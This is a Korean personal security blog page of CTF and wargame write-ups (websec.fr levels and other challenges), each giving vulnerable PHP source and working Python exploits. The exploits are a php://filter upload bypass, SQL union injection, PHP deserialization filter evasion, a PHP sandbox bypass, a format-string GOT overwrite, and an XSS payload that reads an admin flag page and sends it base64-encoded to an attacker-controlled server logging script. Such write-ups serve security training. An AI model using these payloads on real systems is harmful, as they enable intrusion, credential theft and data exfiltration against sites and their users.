'2019/08'에 해당되는 글 34건

source.php


<?php
ini_set
('display_errors''on');
ini_set('error_reporting'E_ALL);

session_start();

include 
'clean_up.php';

/* periodic cleanup */
foreach (glob("./uploads/*") as $file) {
    if (
is_file($file)) {
        
unlink($file);
    } else {
        if (
time() - filemtime($file) >= 60 60 24 7) {
            
Delete($file);
        }
    }
}

$upload_dir sprintf("./uploads/%s/"session_id());
@
mkdir($upload_dir0755true);

/* sandboxing ! */
chdir($upload_dir);
ini_set('open_basedir''.');

$p "list";
$data "";
$filename "";

if (isset(
$_GET['p']) && isset($_GET['filename']) ) {
    
$filename $_GET['filename'];
    if (
$_GET['p'] === "edit") {
        
$p "edit";
        if (isset(
$_POST['data'])) {
            
$data $_POST['data'];
            if (
strpos($data'<?')  === false && stripos($data'script')  === false) {  # no interpretable code please.
                
file_put_contents($_GET['filename'], $data);
                die (
'<meta http-equiv="refresh" content="0; url=.">');
            }
        } elseif (
file_exists($_GET['filename'])){
            
$data file_get_contents($_GET['filename']);
        }
    }
}
?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level 24</title>
        <link rel="stylesheet" href="https://websec.fr/static/bootstrap.min.css" />
    <!-- Credits to blotus and bui for finding an unintended solution -->
</head>
    <body>
        <div class="container">
            <div class="row">
                <h1>Level TwentyFour<small> - Cloud-based plain-text storage</small></h1>
            </div>

            <div class="row">
                <p class="lead">
                Please enjoy our super-convenient cloud-based text storage facility,<br>
                    its sync-up scaled workflow connects with agile API worldwide on a global scale,<br>
                    to achieve synergy with outside the box diving devops.
                <br><br>
                    Another fine level by our very own <mark>nurfed</mark>, that you can check the source <a href="source.php">here</a>.
                </p>
            </div>

            <br>

            <div class="row">

<?php if ($p === "list") {
    echo 
"<div class='panel panel-default'>";
    echo 
"<div class='panel-heading'><h3 class='panel-title''>Index of <mark>$upload_dir</mark>:</h3></div>";
    echo 
"<div class='panel-body'><ul>";
    foreach (
array_diff(scandir('.'), ['..''.']) as $fn)
        echo 
"<li><a href='?p=edit&filename=$fn'>$fn</a></li>";
    echo 
"</ul></div></div>";
    
?>
    <form method="GET" class="form-inline">
        <div class="form-group">
            <input type="hidden" name="p" value="edit">
            <label for="filename">Create a new file:</label>
            <input class='form-control' type="text" name="filename" placeholder="file name">
        </div>
        <div class="form-group">
            <button type="submit" class='btn btn-default col-md-2 form-control' value="Submit">Create</button>
        </div>
    </form>

<?php } elseif ($p === "edit") {
    echo 
"<div class='panel panel-default'>";
    echo 
"<div class='panel-heading'><h3 class='panel-title''>";
    echo 
"File <mark>$filename</mark>'s content: <a type='button' class='close' href='.'><span>&times;</span></a></h3>";
    echo 
"</div>";
    echo 
"<div class='panel-body'>";
    echo 
"<form action='?p=edit&filename=$filename' method='post'>";
    echo 
"<input type='hidden' name='filename' value='$filename'>";
    echo 
"<textarea class='form-control' name='data' rows='6'>" htmlentities($data) . "</textarea><br>";
    echo 
"<a type='button' class='btn btn-default' href='.'>Cancel</a> ";
    echo 
"<button type='submit' class='btn btn-default' value='Submit'>Save changes</button>";
    echo 
"</form>";
    echo 
"</div></div>";
?>
</div>


그냥 php 파일 올릴 수 있는데, 파일 내용에 php tag 및 script를 필터하고 있다.


첨엔 그냥 file_put_contents로 파일 만들길래 array넣어서 우회하면 끝나겠거니 했는데 입력 값 검증할때 preg_match 안쓰고 stripos쓰는 바람에 에러가 터져서 요 방법은 안됬다. 그래서 그냥 php wrapper써서 base64 인코딩된 값을 디코딩하면서 파일 내용 삽입하게 했다.


exploit.py


import requests


def exploit(payload,payload2):

    url = "http://websec.fr/level24/index.php?p=edit&filename="+payload

    headers = {"Cookie":"PHPSESSID=ho8silrj9h2rl1q2u8i0vig3gfsp68sq"}

    data = {"data":payload2}

    result = requests.post(url,headers=headers,data=data).text

    print result



payload = "php://filter/convert.base64-decode/resource=123.php"

payload2 = "<?php echo file_get_contents('../../flag.php');?>".encode("base64")


exploit(payload,payload2)


print requests.get("http://websec.fr/level24/uploads/ho8silrj9h2rl1q2u8i0vig3gfsp68sq/123.php").text


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr medium level 05  (0) 2019.08.23
websec.fr medium level 03  (0) 2019.08.23
websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
websec.fr easy level20  (0) 2019.08.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<?php

include "flag.php";

class 
Flag {
    public function 
__destruct() {
       global 
$flag;
       echo 
$flag
    }
}

function 
sanitize($data) {
    
/* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */
    
if ( ! preg_match ('/[A-Z]:/'$data)) {
        return 
unserialize ($data);
    }

    if ( ! 
preg_match ('/(^|;|{|})O:[0-9+]+:"/'$data )) {
        return 
unserialize ($data);
    }

    return 
false;
}

$data = Array();
if (isset (
$_COOKIE['data'])) {
    
$data sanitize (base64_decode ($_COOKIE['data']));
}

if (isset (
$_POST['value']) and ! empty ($_POST['value'])) {
    
/* Add a value twice to remove it from the list. */
    
if (($key array_search ($_POST['value'], $data)) !== false) {
        unset (
$data[$key]);
    } else { 
/* Else, simply add it. */
        
array_push ($data$_POST['value']);
    }
    
setcookie ('data'base64_encode (serialize ($data)));
}

?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level Twenty</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
    <!-- Thanks to XeR for helping debugging this level. -->
</head>
<body>
    <div id="main">
        <div class="container">
            <div class="row">
                <h1>LevelTwenty <small> - Call me maybe</small></h1>
            </div>
            <div class="row">
                <p class="lead">
                    Since there is nothing that a good blacklist can't fix,
                    we're using <a href="https://secure.php.net/manual/en/function.unserialize.php">unserialize</a>
                    with a <b>bullet-proof</b> one for our amazing todo-list.<br>
                    You can get the sources <a href="source.php">here</a>.
                </p>
            </div>
        </div>
    <br>
        <div class="container">
            <div class="row">
                <form class="form-inline col-md-3" method='post'>
                    <input name='value' id='value' class='form-control' type='text' placeholder='Item'>
                    <input class="form-control btn btn-default" name="submit" value='Add' type='submit'>
                </form>
            </div>
            <div class="row col-md-3">
        <br>
                <ul class="list-group">
                <?php 
                    
foreach ($data as $value)
                        print 
'<li class="list-group-item">' htmlentities($value) . '</li>';
                
?>
                </ul>
            </div>
        </div>
    </div>
</body>
</html>


PHP Sandbox 인데 길이제한이 좀 빡세다. 대충 아래와 같은형태로하면 함수하나에 인자는 6글자까지 사용할수있게 만들었다.


http://websec.fr/level22/index.php?code=${~'%A0%B8%BA%AB'}{0}()&0=phpinfo


그냥 system류로 경로따고 cat f* 이런식으로하면 될 것 같았는데 system류 함수가 다 막혀있었다. 


그래서 그냥 scandir, glob같은거로 경로따서 플래그파일 보면 되겠지 했는데 플래그 파일명이 file_containing_the_flag_parts.php 요놈인데 엄청길다. 


뭐지하고 좀 보다보니 이상한게 있었는데 A라는 객체를 생성해서 필드에 값을 채워넣는 문제 로직이랑 전혀 상관없는 코드가 있었다. 해당 객체 필드를 못보게 -를 필터하고 unset까지해서 객체 인자로 들어가는 변수까지 초기화한걸 보니 저 객체만 어떻게 뿌려주면 될 것 같아서 그냥 var_dump로 객체를 뿌려주니 필드쪽에 플래그가 나눠서 세팅되어 있었다.


payload


http://websec.fr/level22/index.php?code=${~'%A0%B8%BA%AB'}{0}($a)&0=var_dump



'Wargame > websec.fr' 카테고리의 다른 글

websec.fr medium level 03  (0) 2019.08.23
websec.fr easy level 24  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
websec.fr easy level20  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<!-- Yet an other fine level, based on a real-world vuln discovered by @caillou -->
<?php

// Defines $flag
include 'flag.php';

$db = new PDO('sqlite::memory:');
$db->exec('CREATE TABLE users (
  user_id   INTEGER PRIMARY KEY,
  user_name TEXT NOT NULL,
  user_privileges INTEGER NOT NULL,
  user_password TEXT NOT NULL
)'
);

$db->prepare("INSERT INTO users VALUES(0, 'admin', 0, '$flag');")->execute();

for(
$i=1$i<25$i++) {
  
$pass md5(uniqid());
  
$user "user_" substr(crc32($pass), 02);
  
$db->prepare("INSERT INTO users VALUES($i, '$user', 1, '$pass');")->execute();
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level Thirteen</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
    <body>
        <div id="main">
            <div class="container">
                <div class="row">
                    <h1>LevelThirteen <small> - A privilege offer</small></h1>
                </div>
                <div class="row">
                    <p class="lead">
                                            A simple tool to display privileges, so you can check them.
                                            As usual, the source code can be found <a href="source.php">here</a>.
                    </p>
                </div>
            </div>
            <div class="container">
              <div class="row">
                <form class="form-inline" method='get'>
                                    Ids to display
                  <input name='ids' class='form-control' type='text' value='1,2,3'>
                  <input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
                </form>
              </div>

<?php
if (isset($_GET['ids'])) {
    if ( ! 
is_string($_GET['ids'])) {
        die(
"Don't be silly.");
    }

    if ( 
strlen($_GET['ids']) > 70) {
        die(
"Please don't check all the privileges at once.");
    }

  
$tmp explode(',',$_GET['ids']);
  for (
$i 0$i count($tmp); $i++ ) {
        
$tmp[$i] = (int)$tmp[$i];
        if( 
$tmp[$i] < ) {
            unset(
$tmp[$i]);
        }
  }

  
$selector implode(','array_unique($tmp));

  
$query "SELECT user_id, user_privileges, user_name
  FROM users
  WHERE (user_id in (" 
$selector "));";

  
$stmt $db->query($query);

    echo 
'<br>';
    echo 
'<div class="well">';
  echo 
'<ul>';
  while (
$row $stmt->fetch(\PDO::FETCH_ASSOC)) {
        echo 
"<li>";
        echo 
"User <em>" $row['user_name'] . "</em>";
      echo 
"    with id <code>" $row['user_id'] . '</code>';
        echo 
" has <b>" . ($row['user_privileges'] == 0?"all":"no") . "</b> privileges.";
        echo 
"</li>\n";
  }
    echo 
"</ul>";
    echo 
"</div>";
}
?>
            </div>
        </div>
    </body>
</html>


explode 후 배열 카운트를 초기 값으로 고정시켜 사용하지 않고 반복문 돌때마다 다시 구하고 있다. 이 때문에 unset 으로 배열 길이를 줄여놓으면 뒤쪽에 정수형이 아닌 값들이 반복문안으로 못들어와서 취약점이 터진다.


exploit.py

import requests


def getFlag(payload):

    url = "http://websec.fr/level13/index.php"

    params = {"ids":payload,"submit":"go"}

    result = requests.get(url,params=params).text

    start =  result.find("WEBSEC{")

    print result[start:]


payload = ",,,,)) union select 1,2,user_password from users--"

getFlag(payload)


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr easy level 24  (0) 2019.08.22
websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level20  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
Websec.fr babysteps level 25  (0) 2018.12.12
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<?php

include "flag.php";

class 
Flag {
    public function 
__destruct() {
       global 
$flag;
       echo 
$flag
    }
}

function 
sanitize($data) {
    
/* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */
    
if ( ! preg_match ('/[A-Z]:/'$data)) {
        return 
unserialize ($data);
    }

    if ( ! 
preg_match ('/(^|;|{|})O:[0-9+]+:"/'$data )) {
        return 
unserialize ($data);
    }

    return 
false;
}

$data = Array();
if (isset (
$_COOKIE['data'])) {
    
$data sanitize (base64_decode ($_COOKIE['data']));
}

if (isset (
$_POST['value']) and ! empty ($_POST['value'])) {
    
/* Add a value twice to remove it from the list. */
    
if (($key array_search ($_POST['value'], $data)) !== false) {
        unset (
$data[$key]);
    } else { 
/* Else, simply add it. */
        
array_push ($data$_POST['value']);
    }
    
setcookie ('data'base64_encode (serialize ($data)));
}

?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level Twenty</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
    <!-- Thanks to XeR for helping debugging this level. -->
</head>
<body>
    <div id="main">
        <div class="container">
            <div class="row">
                <h1>LevelTwenty <small> - Call me maybe</small></h1>
            </div>
            <div class="row">
                <p class="lead">
                    Since there is nothing that a good blacklist can't fix,
                    we're using <a href="https://secure.php.net/manual/en/function.unserialize.php">unserialize</a>
                    with a <b>bullet-proof</b> one for our amazing todo-list.<br>
                    You can get the sources <a href="source.php">here</a>.
                </p>
            </div>
        </div>
    <br>
        <div class="container">
            <div class="row">
                <form class="form-inline col-md-3" method='post'>
                    <input name='value' id='value' class='form-control' type='text' placeholder='Item'>
                    <input class="form-control btn btn-default" name="submit" value='Add' type='submit'>
                </form>
            </div>
            <div class="row col-md-3">
        <br>
                <ul class="list-group">
                <?php 
                    
foreach ($data as $value)
                        print 
'<li class="list-group-item">' htmlentities($value) . '</li>';
                
?>
                </ul>
            </div>
        </div>
    </div>
</body>
</html>


Serialize된 Flag 객체 값을 넣어주면 되는데, 필터로직이 두개정도 있다. 소스 내 주석에 박힌 Exploit-db에서 사용한 O:+4 요런식의 +를 사용한 bypass도 막혀있는걸 볼 수 있다. 


이것저것 해보다 외국인이 쓴 unserialize관련 문서에서 요런걸 찾았다.


switch (yych) {
case 'C':
case 'O':       goto yy13;
case 'N':       goto yy5;
case 'R':       goto yy2;
case 'S':       goto yy10;
case 'a':       goto yy11;
case 'b':       goto yy6;
case 'd':       goto yy8;
case 'i':       goto yy7;
case 'o':       goto yy12;
case 'r':       goto yy4;
case 's':       goto yy9;
case '}':       goto yy14;
default:        goto yy16;


case구문을 잘 보면 O랑 C가 동일한 분기로 점프하는걸 볼 수 있고 O대신 C로 객체를 표현할 수 있나해서 로컬에서 테스트해보니 잘 되는걸 볼 수 있었다.


exploit.py


import requests


def exploit(payload):

    url = "http://websec.fr/level20/index.php"

    headers = {"Cookie":"data="+payload}

    result = requests.get(url,headers=headers).text

    print result


payload = 'C:4:"Flag":0:{}'.encode("base64").replace("\n","")

exploit(payload)


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
Websec.fr babysteps level 25  (0) 2018.12.12
Websec.kr easy level 15  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

chall.stypr.com tofukimchi

2019. 8. 20. 22:44

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

chall.stypr.com PatchInject

2019. 8. 18. 23:21

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

대회 시간안에 못풀고 대회 종료 후 힌트를 듣고 풀었다. 대회시간 내내 잡고있었는데 못풀어서 너무 아쉬웠다.


문제는 들어가보면 간단한 글쓰기 기능이 있고 해당 게시글을 view하는 페이지가 있다. 글쓸때 XSS 박아넣고 view URL을 admin한테 보내주면 된다.


view 페이지는 safe mode랑 unsafe mode 두가지가 존재하는데 safe mode에는 csp로 script-src 'self'가 걸려있다. 


그리고 admin한테 view url을 넘길때는 safe mode로만 전송이 가능하다.


첨엔 csp 우회해보려했는데 업로드 기능,서버 내 jsonp, jsonp처럼 쓸 수 있는 형태의 페이지, angularjs 등 시도할만한게 딱히 안보였다.


그러다 생각을 바꿔서 그냥 admin한테 url을 보내는 기능을 bypass해서 unsafe mode의 url을 보내는 식으로 시도해봤고 safe_mode 파라미터를 safe%7fmode 이런식으로 전송하니 bypass가되서 unsafe mode로 admin한테 url을 보내 xss를 실행시킬 수 있었다.


여기까지 풀었을때가 11시 좀 넘었고 쿠키 값 leak 하고나서 그냥 끝났다고 생각했다.


근데 주석에 있는 secret.php에 leak한 쿠키 값 세팅하고 들어갔보니 admin이 아니라했다.


여기서부터 멘붕의 시작이었다. leak한 값이 cred=y0u_4r3_g0000000d_47_byb_!!; PHPSESSID=lpbtodlctim7lnul88ig9bd9n0 이런 값이었는데 cred는 고정되어있었고 PHPSESSID는 봇이 xss가 박힌 view 페이지에 접근할 때 마다 바뀌는 상태였다.


admin php session이 고정이 안되어있길래 cred가 인증수단인가 싶어서 저걸로 별에별짓을 다했는데 도저히 뭐가 안나왔다. 


그렇게 세션따고 7시간을 별의별 삽질을 다하다 대회가 종료되었다.


그리고 대회종료 후에 팀동생이 문제푼 팀에서 swap 파일이 있었다고 알려줘서 설마하고 .secret.php.swp에 들어가보니까 swap 파일이 있었다....


swap 복구해서 소스보면 flag 페이지 있는데 그냥 leak한 cred=y0u_4r3_g0000000d_47_byb_!!; 쿠키에 박아넣고 secret.php가 아닌 admin.phar/flag.php 요청하니까 바로 플래그가 나왔다..


뭔가 secret.php 페이지 접근할때 단순 leak한 세션값이 아니고 뭔가 추가적인 인증수단이 있어서 안되는거라고 확신하고 문제를 풀다보니 한번쯤 시도해봤을번한 부분을 놓친것 같고 많이 아쉬웠다.


---추가---


대회때도 bypass되는 로직이 뭔가 이상하다고 느꼈었는데 확실하진 않지만 내가 문제를 푼 방식은 출제자가 의도하지 않은 방법인거 같다. 대회때는 빠르게 풀려다보니 그냥 대충 우회되는거 나와서 넘어갔었는데 생각해보니 그냥 iframe이나 object로 unsafe page load하는 구문을 safe mode page에 넣으면 csp 우회되는 문제였다. 


exploit.py


import requests

import time

import random

import os


my_webroot_dir = "/var/www/html/"   

my_server = "http://my_ip/"       


def write(user_session):

    url = "http://52.78.85.107/write_back.php"

    headers = {'Cookie': 'PHPSESSID='+user_session}

    payload = """

    </textarea>"""+str(random.randrange(100000,10000000))+"""<svg/onload="var xhr=new XMLHttpRequest();xhr.open('get','/admin.phar/flag.php',false);xhr.send();location.href='"""+my_server+"""/file.php?0='+btoa(xhr.responseText)";/>

    """

    params = {'regiment': '1','company':'1','name':'Hiadmin','body':payload}

    response = requests.post(url, data=params, headers=headers)

    result = response.text

    start = result.find("lid=")

    end = result.find("#")

    return result[start+4:end]


def send(payload,user_session):

    url = "http://52.78.85.107/submit.php"

    headers = {'Cookie': 'PHPSESSID='+user_session}

    abcd = "http://52.78.85.107/view.php?safe\x7fview=1&lid="+payload

    params = {'lid': payload, 'url': abcd}

    response = requests.post(url, data=params, headers=headers)

    result = response.text


def get_user_session():

    url = "http://52.78.85.107/index.php"

    response = requests.get(url)

    result = response.headers['Set-Cookie'].replace("PHPSESSID=","").replace("; path=/","")

    return result


user_session = get_user_session()

result = write(user_session)

time.sleep(1)

send(result,user_session)

time.sleep(5)

for i in range(0,10):

    try:

        f = open(my_webroot_dir+"/log.txt","r")

        print f.read()

        f.close()

        break

    except:

        continue


file.php


<?php

file_put_contents("./log.txt",base64_decode($_GET[0])."</br>",FILE_APPEND);

?>


'CTF > Writeup' 카테고리의 다른 글

CSAW CTF 2019 Web Write up  (0) 2019.09.16
DefCamp CTF 2019 Web Write up  (0) 2019.09.09
DEF CON CTF Qualifier 2019 vitor  (0) 2019.07.15
DEF CON CTF Qualifier 2019 veryandroidso  (0) 2019.07.10
ISITDTU CTF 2019 Web Write up  (0) 2019.07.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Phar Generator

2019. 8. 17. 00:43

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Redis SSRF

2019. 8. 14. 01:57

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

exploit.py


from pwn import *

  

p = process("./timber")


e = ELF("./timber")


print p.recvuntil("name: ")

date_low = 0x867b

date_high = 0x10804

printf_got = e.got["printf"]


payload = p32(printf_got)

payload += p32(printf_got+2)

payload += "%5${0}x".format(date_low-8)

payload += "%2$n"

payload += "%6${0}x".format(date_high-date_low)

payload += "%3$n"



p.sendline(payload)

p.interactive()

'System > Pwnable Practice' 카테고리의 다른 글

pico CTF 2018 echo back  (0) 2019.08.12
picoCTF 2018 authenticate  (0) 2019.08.10
TUCTF CTF 2018 Ehh  (0) 2019.08.09
Plaid CTF 2015 ebp  (0) 2019.08.06
Layer7 CTF 2018 Life Game  (0) 2019.08.05
블로그 이미지

JeonYoungSin

메모 기록용 공간

,